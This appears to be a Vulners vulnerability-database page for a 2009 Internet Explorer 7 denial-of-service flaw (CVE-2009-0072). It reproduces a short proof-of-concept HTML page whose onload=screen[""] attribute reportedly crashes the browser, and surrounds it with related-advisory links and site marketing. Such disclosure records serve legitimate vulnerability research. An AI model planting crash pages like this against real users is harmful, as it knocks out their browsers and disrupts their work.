Lucene search
K

MS Internet Explorer JavaScript screen[ ] Denial of Service Exploit

🗓️ 11 Jan 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

MS Internet Explorer 'screen' Remote Denial of Service Exploit leading to 100% CPU usage and browser closur

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2009-0072
8 Jan 200919:00
cve
Cvelist
CVE-2009-0072
8 Jan 200919:00
cvelist
EUVD
EUVD-2009-0081
7 Oct 202500:30
euvd
NVD
CVE-2009-0072
8 Jan 200919:30
nvd
OpenVAS
Microsoft Internet Explorer NULL Pointer DoS Vulnerability
9 Jan 200900:00
openvas
OpenVAS
Microsoft Internet Explorer NULL Pointer DoS Vulnerability
9 Jan 200900:00
openvas
Packet Storm
Microsoft Internet Explorer Javascript Denial Of Service
9 Jan 200900:00
packetstorm
Prion
Code injection
8 Jan 200919:30
prion
Positive Technologies
PT-2009-2774 · Microsoft · Internet Explorer
8 Jan 200900:00
ptsecurity
seebug.org
Microsoft IE screen[""]远程拒绝服务漏洞
11 Jan 200900:00
seebug
Rows per page

                                                ########################################################################################
#svchost.exe CPU usage boils up to almost 100 percent when we open the malicious
#webpage and IE7 (Version 7.0.5730.13) closes with all tabs.
#
#Tested On:
#    Microsoft(R) Windows(R) Server 2003, Standard Edition with Service Pack 2
#
#With:
#    IE Version 7.0.5730.13
#
#    I didn't use Javascript anywhere in the HTML below. It might be the background
#     processing of "onload" NULL pointer by IE which leads to the cra$$$hhhhh!!!
#
#Reference:
#    http://xforce.iss.net/xforce/xfdb/47788
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0072
#
#########################################################################################
#########Thanx 2 str0ke, milw0rm, SkyLined and all Security folks !!!####################
#########################################################################################



<html>

<title>MS IE 'screen[""]' Remote Denial of Service Vulnerability</title>

<body onload=screen[""]>

</html>


 ########################################################################################
 # This is strictly written for educational purpose. Use it at
 # your own risk. Author will not bare any responsibility for any damages watsoever.
 #
 #      Author: Praveen Darshanam
 #      Email: praveen[underscore]recker[at]sify.com
 #      Blog: http://darshanams.blogspot.com
 #              <http://darshanams.blogspot.com/>
 #      Date: 09th Jan., 2009
 #
 ########################################################################################
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jan 2009 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.10234
24